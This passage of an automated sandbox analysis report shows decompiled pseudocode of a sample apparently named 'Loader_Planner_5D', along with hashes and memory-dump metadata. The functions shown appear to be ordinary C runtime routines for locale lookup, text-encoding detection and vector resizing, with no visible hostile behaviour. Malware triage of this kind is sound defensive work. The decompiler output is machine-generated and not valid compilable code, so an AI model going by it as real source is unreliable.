				if (_t49 == 0x80000000) goto 0x10667700;
				if (_t49 != 0xc0000000) goto 0x106677c3;
				_t50 = __rdx[8];
				if (_t50 == 0) goto 0x106677c3;
				if (_t50 - 2 <= 0) goto 0x106676a6;
				if (_t50 - 4 <= 0) goto 0x106676c6;
				_t109 = _t50 - 5;
				if (_t109 != 0) goto 0x106677c3;
				if (_t109 == 0) goto 0x1066778e;
				if ( *((char*)(__r9)) - 1 != 1) goto 0x106677c3;
				goto 0x10667798;
				r8d = 2;
				E00007FF77FF710654290(2, _t127, __rbx, _t138, __rsi, _t156, _t153);
				if (_t127 == 0) goto 0x106676a6;
				r8d = 0;
				E00007FF77FF710654290(2, _t127, _t129, _t138, __rsi);
				if (_t127 != 0xffffffff) goto 0x106676f5;
				E00007FF77FF71064A624(_t127);
				goto 0x106677c5;
				if (_t90 >> 0x1f == 0) goto 0x106677c3;
				r8d = 3;
				_a8 = 0;
				_t32 =  &_a8; // 0x2aaaaaaaaaaaaa43
				_t56 = E00007FF77FF710653BCC(__ebp, _t90 >> 0x1f, _t127, _t132, _t32, __r8);
				if (_t56 == 0xffffffff) goto 0x106676e9;
				if (_t56 == 2) goto 0x10667738;
				if (_t56 != 3) goto 0x10667777;
				if (_a8 != 0xbfbbef) goto 0x10667738;
				 *_t154 = 1;
				goto 0x106677c3;
				_t77 = _a8 & 0x0000ffff;
				if (_t77 != 0xfffe) goto 0x10667752;
				E00007FF77FF71064A624(_t127);
				 *_t127 = 0x16;
				goto 0x106676e9;
				if (_t77 != 0xfeff) goto 0x10667777;
				r8d = 0;
				E00007FF77FF710654290(2, _t127, _t129, _t138, _t140);
				if (_t127 == 0xffffffff) goto 0x106676e9;
				 *_t154 = dil;
				goto 0x106677c3;
				r8d = 0;
				E00007FF77FF710654290(2, _t127, _t129, _t138, _t140);
				if (_t127 != 0xffffffff) goto 0x106677c3;
				goto 0x106676e9;
				_a8 = 0xbfbbef;
				r8d = 3;
				r8d = r8d;
				_t63 = E00007FF77FF7106518F8(0, _t129, _t138);
				if (_t63 == 0xffffffff) goto 0x106676e9;
				if (3 - 0 + _t63 > 0) goto 0x1066779c;
				return 0;
			}

0x7ff71066757c
0x7ff71066757c
0x7ff71066757c
0x7ff71066757f
0x7ff710667583
0x7ff710667587
0x7ff71066758b
0x7ff71066759c
0x7ff71066759f
0x7ff7106675ad
0x7ff7106675b4
0x7ff7106675be
0x7ff7106675c7
0x7ff7106675d5
0x7ff7106675d7
0x7ff7106675d7
0x7ff7106675db
0x7ff7106675e4
0x7ff7106675e6
0x7ff7106675f2
0x7ff7106675f4
0x7ff710667607
0x7ff710667616
0x7ff710667620
0x7ff710667622
0x7ff71066762a
0x7ff71066762c
0x7ff710667630
0x7ff710667632
0x7ff710667634
0x7ff710667641
0x7ff710667643
0x7ff710667646
0x7ff710667648
0x7ff710667651
0x7ff71066765b
0x7ff710667661
0x7ff71066766c
0x7ff710667673
0x7ff71066767a
0x7ff710667682
0x7ff710667688
0x7ff71066768e
0x7ff710667696
0x7ff71066769b
0x7ff71066769d
0x7ff7106676a0
0x7ff7106676ad
0x7ff7106676b6
0x7ff7106676c1
0x7ff7106676c6
0x7ff7106676cd
0x7ff7106676d5
0x7ff7106676d7
0x7ff7106676de
0x7ff7106676e7
0x7ff7106676e9
0x7ff7106676f0
0x7ff7106676fa
0x7ff710667700
0x7ff710667706
0x7ff71066770a
0x7ff710667711
0x7ff710667719
0x7ff71066771d
0x7ff710667722
0x7ff71066772d
0x7ff71066772f
0x7ff710667733
0x7ff710667738
0x7ff710667743
0x7ff710667745
0x7ff71066774a
0x7ff710667750
0x7ff710667759
0x7ff71066775b
0x7ff710667763
0x7ff71066776c
0x7ff710667772
0x7ff710667775
0x7ff710667777
0x7ff71066777e
0x7ff710667787
0x7ff710667789
0x7ff710667798
0x7ff71066779c
0x7ff7106677a7
0x7ff7106677af
0x7ff7106677b7
0x7ff7106677c1
0x7ff7106677dd

APIs

_get_daylight.LIBCMT ref: 00007FF7106675DF

Part of subcall function 00007FF71064E724: _invalid_parameter_noinfo.LIBCMT ref: 00007FF71064E738

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: e4c33992f84ff51f9ac8f4f12d879a627c05fe7ec79793bde41d9373aec2c3cc
Instruction ID: 337b42e4e793f2c0276c487928f0b26ddf46eda86147d2345087e0b5200cb33d
Opcode Fuzzy Hash: e4c33992f84ff51f9ac8f4f12d879a627c05fe7ec79793bde41d9373aec2c3cc
Instruction Fuzzy Hash: 6A61D52AF0CE9246FB60A928D44077DE6A3BF40770F954235DA2D867D1FE6DF8488721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710656BE8 Relevance: 1.6, APIs: 1, Instructions: 150
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF710656BE8(long long __rbx, void* __rcx, void* __rdx, long long __rsi, signed int __r8, void* __r9) {
				signed long long _t25;
				void* _t27;
				void* _t30;

				 *((long long*)(_t30 + 8)) = __rbx;
				 *(_t30 + 0x10) = _t25;
				 *((long long*)(_t30 + 0x18)) = __rsi;
				_t27 = (_t25 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rcx + _t27)) != sil) goto 0x10656c16;
				if (_t27 + __rdx -  !__r8 <= 0) goto 0x10656c52;
				return __rdx + 0xb;
			}

0x7ff710656be8
0x7ff710656bed
0x7ff710656bf2
0x7ff710656c16
0x7ff710656c1d
0x7ff710656c30
0x7ff710656c51

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 864a6c85698b1ebc47202a7dd9c0b7fcbdefbb3fd56966a10ea814c07aeaaf6c
Instruction ID: 303b2900368172646c6e91f295a92c59f13d101ce2d6ec7b2cb11570e56dc441
Opcode Fuzzy Hash: 864a6c85698b1ebc47202a7dd9c0b7fcbdefbb3fd56966a10ea814c07aeaaf6c
Instruction Fuzzy Hash: 0851C722B08A9145EB20AB72B8406AEBBB2FB447E8F544135FE5D27B95DE3CE445C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71062DC30 Relevance: 1.6, Strings: 1, Instructions: 366
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00007FF77FF71062DC30(void* __ebx, signed int __ecx, signed int __edx, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long _a24) {
				unsigned long long _v32;
				long long _v40;
				intOrPtr _t44;
				unsigned long long _t57;
				unsigned long long _t60;
				void* _t68;
				long long _t100;
				unsigned long long _t108;
				unsigned long long _t115;
				intOrPtr _t117;
				unsigned long long _t118;
				unsigned long long _t131;
				intOrPtr* _t132;
				long long _t137;
				unsigned long long* _t138;
				long long _t145;
				unsigned long long _t146;
				signed long long _t149;
				unsigned long long _t152;
				signed int* _t155;
				intOrPtr _t157;
				signed long long _t166;
				intOrPtr _t167;
				void* _t169;

				_a24 = __rbx;
				asm("inc ecx");
				asm("movaps [esp+0x20], xmm0");
				_t167 =  *((intOrPtr*)(__rcx));
				_t108 =  *((intOrPtr*)(__rcx + 0x18));
				_t57 = _t108;
				if (_t57 == 0) goto 0x1062de0f;
				_t131 = (_v40 - _t167 >> 2 << 5) + _v32;
				if (_t57 >= 0) goto 0x1062dc95;
				if (_t57 == 0) goto 0x1062dc95;
				goto 0x1062dca0;
				_t145 = _t167 + (_t131 >> 5) * 4;
				asm("inc ecx");
				asm("movaps [esp+0x20], xmm0");
				_t115 = (_v40 - _t167 >> 2 << 5) + _v32;
				if (_t57 >= 0) goto 0x1062dce5;
				if (_t57 == 0) goto 0x1062dce5;
				goto 0x1062dcf0;
				_t155 = _t167 + (_t115 >> 5) * 4;
				if (_t145 != _t155) goto 0x1062dd12;
				if (_t131 == _t115) goto 0x1062de26;
				_v40 = _t145;
				_v32 = _t131;
				_t60 = _t108;
				if (_t60 >= 0) goto 0x1062dd40;
				if (_t60 == 0) goto 0x1062dd40;
				goto 0x1062dd4b;
				_t169 = _t167 - 4 + ( !_t108 >> 5) * 4 + (_t108 >> 5) * 4;
				asm("movups xmm0, [esp+0x20]");
				asm("movaps [esp+0x20], xmm0");
				_t146 = _v32;
				_t132 = _v40;
				if (_t155 != _t169) goto 0x1062dd71;
				if (_t115 == _t108) goto 0x1062ddad;
				_t44 =  *_t132;
				if (( *_t155 & 0x00000001 << (__ecx & 0x0000001f)) == 0) goto 0x1062dd82;
				asm("inc esp");
				goto 0x1062dd86;
				asm("inc esp");
				 *_t132 = _t44;
				if (_t146 - 0x1f >= 0) goto 0x1062dd93;
				goto 0x1062dd9a;
				r8d = 0;
				if (_t115 - 0x1f >= 0) goto 0x1062dda5;
				goto 0x1062dd67;
				goto 0x1062dd67;
				_t157 =  *((intOrPtr*)(__rcx));
				_t137 = (_t132 + 4 - _t157 >> 2 << 5) + _t146 + 1;
				if (_t137 - 0xffffffff > 0) goto 0x1062dea6;
				_t149 = _t137 + 0x1f >> 5;
				_t117 =  *((intOrPtr*)(__rcx + 8));
				if (_t149 - _t117 - _t157 >> 2 >= 0) goto 0x1062ddf9;
				_t100 = _t157 + _t149 * 4;
				_t68 = _t100 - _t117;
				if (_t68 == 0) goto 0x1062ddf9;
				 *((long long*)(__rcx + 8)) = _t100;
				 *((long long*)(__rcx + 0x18)) = _t137;
				if (_t68 <= 0) goto 0x1062de26;
				 *(_t157 + _t149 * 4 - 4) =  *(_t157 + _t149 * 4 - 4) & (0x00000001 << (__edx & 0x1f)) - 0x00000001;
				goto 0x1062de26;
				asm("inc ecx");
				asm("movaps [esp+0x20], xmm0");
				_t166 = _t169 - _t169 >> 2 << 5;
				_v40 =  *((intOrPtr*)(__rcx));
				_v32 = 0;
				asm("movups xmm0, [esp+0x20]");
				asm("movups [esi], xmm0");
				_t138 = __rdx + 8;
				if (_t166 >= 0) goto 0x1062de77;
				_t118 =  *_t138;
				if (_t118 -  ~_t166 >= 0) goto 0x1062de77;
				 *__rdx =  *__rdx + 0xfffffffc - ( !(_t118 + _t166) >> 5 << 2);
				goto 0x1062de8b;
				_t152 =  *_t138 + _t166;
				 *__rdx =  *__rdx + (_t152 >> 5 << 2);
				 *_t138 = _t152;
				r8d = r8d & 0x0000001f;
				 *_t138 = _t152;
				return _t44;
			}

0x7ff71062dc30
0x7ff71062dc43
0x7ff71062dc47
0x7ff71062dc4c
0x7ff71062dc4f
0x7ff71062dc53
0x7ff71062dc56
0x7ff71062dc6c
0x7ff71062dc71
0x7ff71062dc79
0x7ff71062dc93
0x7ff71062dc9c
0x7ff71062dca0
0x7ff71062dca4
0x7ff71062dcbc
0x7ff71062dcc1
0x7ff71062dcc9
0x7ff71062dce3
0x7ff71062dcec
0x7ff71062dd07
0x7ff71062dd0c
0x7ff71062dd12
0x7ff71062dd17
0x7ff71062dd1c
0x7ff71062dd1f
0x7ff71062dd27
0x7ff71062dd3e
0x7ff71062dd47
0x7ff71062dd4e
0x7ff71062dd53
0x7ff71062dd5d
0x7ff71062dd62
0x7ff71062dd6a
0x7ff71062dd6f
0x7ff71062dd78
0x7ff71062dd7a
0x7ff71062dd7c
0x7ff71062dd80
0x7ff71062dd82
0x7ff71062dd86
0x7ff71062dd8c
0x7ff71062dd91
0x7ff71062dd93
0x7ff71062dd9e
0x7ff71062dda3
0x7ff71062ddab
0x7ff71062ddad
0x7ff71062ddbb
0x7ff71062ddcb
0x7ff71062ddd5
0x7ff71062ddd9
0x7ff71062ddea
0x7ff71062ddec
0x7ff71062ddf0
0x7ff71062ddf3
0x7ff71062ddf5
0x7ff71062ddf9
0x7ff71062de00
0x7ff71062de08
0x7ff71062de0d
0x7ff71062de0f
0x7ff71062de13
0x7ff71062de22
0x7ff71062de29
0x7ff71062de2e
0x7ff71062de37
0x7ff71062de3c
0x7ff71062de3f
0x7ff71062de46
0x7ff71062de48
0x7ff71062de54
0x7ff71062de72
0x7ff71062de75
0x7ff71062de7a
0x7ff71062de88
0x7ff71062de8b
0x7ff71062de8e
0x7ff71062de92
0x7ff71062dea5

Strings

vector too long, xrefs: 00007FF71062DEB4

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID: vector too long
API String ID: 0-2873823879
Opcode ID: d76060d93acec901c26df5c683c2022712e864d1cfc9f24eafe5648ca12581d9
Instruction ID: 3786a3d3062e161fcd3b0e1e7206c1ffc58317b040d45f0e4202659f40dc14bb
Opcode Fuzzy Hash: d76060d93acec901c26df5c683c2022712e864d1cfc9f24eafe5648ca12581d9
Instruction Fuzzy Hash: 1FC11562B18E8982EE20AF29E4446B8B362FB647E0F944631DF5E47780DE3CF195C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065B888 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF71065B888(void* __ecx, void* __edx, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long _a16, long long _a24) {
				void* _v8;
				signed int _v24;
				char _v264;
				unsigned int _t22;
				signed int _t23;
				void* _t25;
				unsigned int _t33;
				intOrPtr _t38;
				signed long long _t53;
				signed long long _t54;
				void* _t56;
				unsigned int* _t67;
				signed long long _t69;
				void* _t71;

				_t64 = __rdx;
				_a16 = __rbx;
				_a24 = __rsi;
				_t53 =  *0x10689010; // 0xafe3859a1ce3
				_t54 = _t53 ^ _t71 - 0x00000120;
				_v24 = _t54;
				_t56 = __rcx;
				E00007FF77FF710650904(_t54, __rcx, __rdx, __rsi);
				_t69 = _t54;
				E00007FF77FF710650904(_t54, _t56, _t64, _t69);
				_t67 =  *((intOrPtr*)(_t54 + 0x3a0));
				_t22 = E00007FF77FF71065B990(_t56, _t64);
				r9d = 0x78;
				_t33 = _t22;
				asm("sbb edx, edx");
				_t23 = GetLocaleInfoW(??, ??, ??, ??);
				if (_t23 != 0) goto 0x1065b903;
				 *_t67 =  *_t67 & _t23;
				goto 0x1065b96b;
				_t25 = E00007FF77FF71065EF4C(_t54,  *((intOrPtr*)(_t69 + 0x98)));
				_t38 =  *((intOrPtr*)(_t69 + 0xb0));
				if (_t25 != 0) goto 0x1065b927;
				if (_t38 != 0) goto 0x1065b958;
				goto 0x1065b94a;
				if (_t38 != 0) goto 0x1065b961;
				if ( *((intOrPtr*)(_t69 + 0xac)) == _t38) goto 0x1065b961;
				if (E00007FF77FF71065EF4C(_t54,  *((intOrPtr*)(_t69 + 0x98))) != 0) goto 0x1065b961;
				if (E00007FF77FF71065BA90(_t33, 0, _t54, _t56,  *((intOrPtr*)(_t69 + 0x98)),  &_v264, _t69) == 0) goto 0x1065b961;
				 *_t67 =  *_t67 | 0x00000004;
				_t67[1] = _t33;
				_t67[2] = _t33;
				return E00007FF77FF710641DF0( !( *_t67 >> 2) & 0x00000001, _t33, _v24 ^ _t71 - 0x00000120);
			}

0x7ff71065b888
0x7ff71065b888
0x7ff71065b88d
0x7ff71065b89a
0x7ff71065b8a1
0x7ff71065b8a4
0x7ff71065b8ac
0x7ff71065b8af
0x7ff71065b8b4
0x7ff71065b8b7
0x7ff71065b8bf
0x7ff71065b8c6
0x7ff71065b8d8
0x7ff71065b8e0
0x7ff71065b8e2
0x7ff71065b8f0
0x7ff71065b8f8
0x7ff71065b8fa
0x7ff71065b901
0x7ff71065b90f
0x7ff71065b914
0x7ff71065b91c
0x7ff71065b920
0x7ff71065b925
0x7ff71065b929
0x7ff71065b931
0x7ff71065b946
0x7ff71065b956
0x7ff71065b958
0x7ff71065b95b
0x7ff71065b95e
0x7ff71065b98f

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

Part of subcall function 00007FF710650904: FlsSetValue.KERNEL32 ref: 00007FF710650949

GetLocaleInfoW.KERNEL32 ref: 00007FF71065B8F0

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastValue$InfoLocale
String ID:
API String ID: 673564084-0
Opcode ID: f7a79cdd86c2372af1f987b9dd000912987d6d0a05a37a4627216ba00bb1124c
Instruction ID: e43e30830c3e28d527f3428e64e577ecdbf148151b2cf195786c4a1985cc7440
Opcode Fuzzy Hash: f7a79cdd86c2372af1f987b9dd000912987d6d0a05a37a4627216ba00bb1124c
Instruction Fuzzy Hash: 30317371A08A8686EB64AB21D4413B9A3B2FB457D4F84A035DB9D83395DF3CF5098B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065B4D4 Relevance: 1.6, APIs: 1, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF71065B4D4(void* __ecx, void* __edx, void* __rax, long long __rbx, signed int* __rcx, void* __rdx, signed int __r8, long long _a8) {
				signed int _t35;
				signed char _t36;
				signed char _t37;
				signed int _t52;
				void* _t54;
				signed int* _t58;
				signed short** _t65;
				void* _t66;
				signed long long _t71;
				signed long long _t72;
				signed long long _t74;

				_t54 = __rax;
				_a8 = __rbx;
				_t58 = __rcx;
				E00007FF77FF710650904(__rax, __rcx, __rdx, _t66);
				_t71 = __r8 | 0xffffffff;
				_t2 = _t54 + 0x98; // 0x98
				_t65 = _t2;
				_t74 = _t71 + 1;
				if (( *_t65)[_t74] != 0) goto 0x1065b4f9;
				_t65[3] = 0 | _t74 == 0x00000003;
				_t72 = _t71 + 1;
				if (_t65[1][_t72] != 0) goto 0x1065b513;
				r8d = 2;
				_t65[3] = 0 | _t72 == 0x00000003;
				_t58[1] = 0;
				if (_t65[3] != 0) goto 0x1065b562;
				r10d = 0;
				r9d =  *( *_t65) & 0x0000ffff;
				_t16 = _t74 - 0x41; // 0x58
				if (_t16 - 0x19 <= 0) goto 0x1065b55a;
				r9w = r9w - 0x61;
				if (r9w - 0x19 > 0) goto 0x1065b55f;
				r10d =  &(r10d[0]);
				goto 0x1065b53d;
				r8d = r10d;
				_t65[2] = r8d;
				_t35 = EnumSystemLocalesW(??, ??);
				_t52 =  *_t58 & 0x00000007;
				asm("bt ecx, 0x9");
				_t36 = _t35 & 0xffffff00 | _t52 > 0x00000000;
				asm("bt ecx, 0x8");
				_t37 = _t36 & 0xffffff00 | _t52 > 0x00000000;
				if ((_t37 & (0 | _t52 != 0x00000000) & _t36) != 0) goto 0x1065b596;
				 *_t58 = 0;
				return _t37;
			}

0x7ff71065b4d4
0x7ff71065b4d4
0x7ff71065b4de
0x7ff71065b4e1
0x7ff71065b4e6
0x7ff71065b4ef
0x7ff71065b4ef
0x7ff71065b4f9
0x7ff71065b501
0x7ff71065b50c
0x7ff71065b513
0x7ff71065b51b
0x7ff71065b523
0x7ff71065b52c
0x7ff71065b52f
0x7ff71065b535
0x7ff71065b53a
0x7ff71065b53d
0x7ff71065b544
0x7ff71065b54c
0x7ff71065b54e
0x7ff71065b558
0x7ff71065b55a
0x7ff71065b55d
0x7ff71065b55f
0x7ff71065b562
0x7ff71065b572
0x7ff71065b57a
0x7ff71065b580
0x7ff71065b584
0x7ff71065b589
0x7ff71065b58d
0x7ff71065b592
0x7ff71065b594
0x7ff71065b5a0

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF71065BCBF,?,00000000,00000092,?,?,00000000,?,00007FF71064F0FD), ref: 00007FF71065B572

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 315cc3486d676f97237d63cfab9dc8786164644e708b8945c3bea3c3adc2a249
Instruction ID: 7e9e130237c3ce63af99c97e684f51de154d5484927da7c0ef264923bd344f62
Opcode Fuzzy Hash: 315cc3486d676f97237d63cfab9dc8786164644e708b8945c3bea3c3adc2a249
Instruction Fuzzy Hash: 5D11E7A3E08A458AEB149F16D0406B8B7B2F780FF0F849135D669433C5DA78E5D9CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065BA90 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00007FF77FF71065BA90(signed int __ecx, void* __edx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, intOrPtr _a8, long long _a16, long long _a24) {
				int _t13;
				signed int _t17;
				void* _t26;
				void* _t35;
				void* _t43;
				signed short* _t51;

				_t43 = __rdx;
				_t35 = __rax;
				_a16 = __rbx;
				_a24 = __rsi;
				_t26 = __edx;
				_t17 = __ecx;
				E00007FF77FF710650904(__rax, __rbx, __rdx, __rsi);
				r9d = 2;
				asm("bts ecx, 0xa");
				_t13 = GetLocaleInfoW(??, ??, ??, ??);
				r10d = 0;
				if (_t13 == 0) goto 0x1065bb29;
				if (_t17 == _a8) goto 0x1065bb22;
				if (_t26 == 0) goto 0x1065bb22;
				_t51 =  *((intOrPtr*)(_t35 + 0x98));
				r8d = r10d;
				if (_t43 - 0x41 - 0x19 <= 0) goto 0x1065bb03;
				if (( *_t51 & 0x0000ffff) - 0x61 - 0x19 > 0) goto 0x1065bb0f;
				r8d = r8d + 1;
				goto 0x1065baf0;
				if (_t51[( &(_t51[2]) | 0xffffffff) + 1] != r10w) goto 0x1065bb13;
				if (r8d == (_t17 & 0x000003ff)) goto 0x1065bb29;
				goto 0x1065bb2b;
				return 0;
			}

0x7ff71065ba90
0x7ff71065ba90
0x7ff71065ba90
0x7ff71065ba95
0x7ff71065ba9f
0x7ff71065baa1
0x7ff71065baa3
0x7ff71065bab5
0x7ff71065babb
0x7ff71065bac7
0x7ff71065bacd
0x7ff71065bad2
0x7ff71065bad8
0x7ff71065badc
0x7ff71065bade
0x7ff71065bae5
0x7ff71065baf7
0x7ff71065bb01
0x7ff71065bb06
0x7ff71065bb0d
0x7ff71065bb1b
0x7ff71065bb20
0x7ff71065bb27
0x7ff71065bb3a

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

GetLocaleInfoW.KERNEL32(?,?,?,00007FF71065B839), ref: 00007FF71065BAC7

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLast$InfoLocaleValue
String ID:
API String ID: 3796814847-0
Opcode ID: abf47a0aca6407df7ea9f5bd98b1401efc35d198dfae0a4cbfe39fe39d18d8ef
Instruction ID: 2ebf0b75cc6595b60e7b09104c69bfab9745105fb8c0cc0584215a50bf98e58c
Opcode Fuzzy Hash: abf47a0aca6407df7ea9f5bd98b1401efc35d198dfae0a4cbfe39fe39d18d8ef
Instruction Fuzzy Hash: 36113D32E1C95682EB747B12D400279E272EB407B0F902231D66D437C8CE78F4858B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065B5A4 Relevance: 1.5, APIs: 1, Instructions: 41
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF71065B5A4(void* __ecx, void* __edx, void* __rax, long long __rbx, signed char* __rcx, void* __rdx, signed int __r8, long long _a8) {
				int _t17;
				void* _t25;
				void* _t29;
				signed char* _t31;
				signed short* _t36;
				void* _t38;
				signed long long _t44;
				void* _t45;

				_t29 = __rax;
				_a8 = __rbx;
				_t31 = __rcx;
				E00007FF77FF710650904(__rax, __rcx, __rdx, _t38);
				_t45 = _t29;
				_t36 =  *((intOrPtr*)(_t29 + 0x98));
				_t44 = (__r8 | 0xffffffff) + 1;
				if (_t36[_t44] != 0) goto 0x1065b5c6;
				_t25 = _t44 - 3;
				 *(_t45 + 0xb0) = 0 | _t25 == 0x00000000;
				if (_t25 == 0) goto 0x1065b60f;
				r9d = 0;
				r8d =  *_t36 & 0x0000ffff;
				if (_t44 - 0x41 - 0x19 <= 0) goto 0x1065b607;
				r8w = r8w - 0x61;
				if (r8w - 0x19 > 0) goto 0x1065b60c;
				r9d = r9d + 1;
				goto 0x1065b5ea;
				 *((intOrPtr*)(_t45 + 0xac)) = r9d;
				_t17 = EnumSystemLocalesW(??, ??);
				if (( *_t31 & 0x00000004) != 0) goto 0x1065b62f;
				 *_t31 = 0;
				return _t17;
			}

0x7ff71065b5a4
0x7ff71065b5a4
0x7ff71065b5ae
0x7ff71065b5b1
0x7ff71065b5ba
0x7ff71065b5bf
0x7ff71065b5c6
0x7ff71065b5ce
0x7ff71065b5d2
0x7ff71065b5de
0x7ff71065b5e5
0x7ff71065b5e7
0x7ff71065b5ea
0x7ff71065b5f9
0x7ff71065b5fb
0x7ff71065b605
0x7ff71065b607
0x7ff71065b60a
0x7ff71065b60f
0x7ff71065b622
0x7ff71065b62b
0x7ff71065b62d
0x7ff71065b639

APIs

Part of subcall function 00007FF710650904: GetLastError.KERNEL32 ref: 00007FF710650913
Part of subcall function 00007FF710650904: FlsGetValue.KERNEL32 ref: 00007FF710650928
Part of subcall function 00007FF710650904: SetLastError.KERNEL32 ref: 00007FF7106509B3

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF71065BC7B,?,00000000,00000092,?,?,00000000,?,00007FF71064F0FD), ref: 00007FF71065B622

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

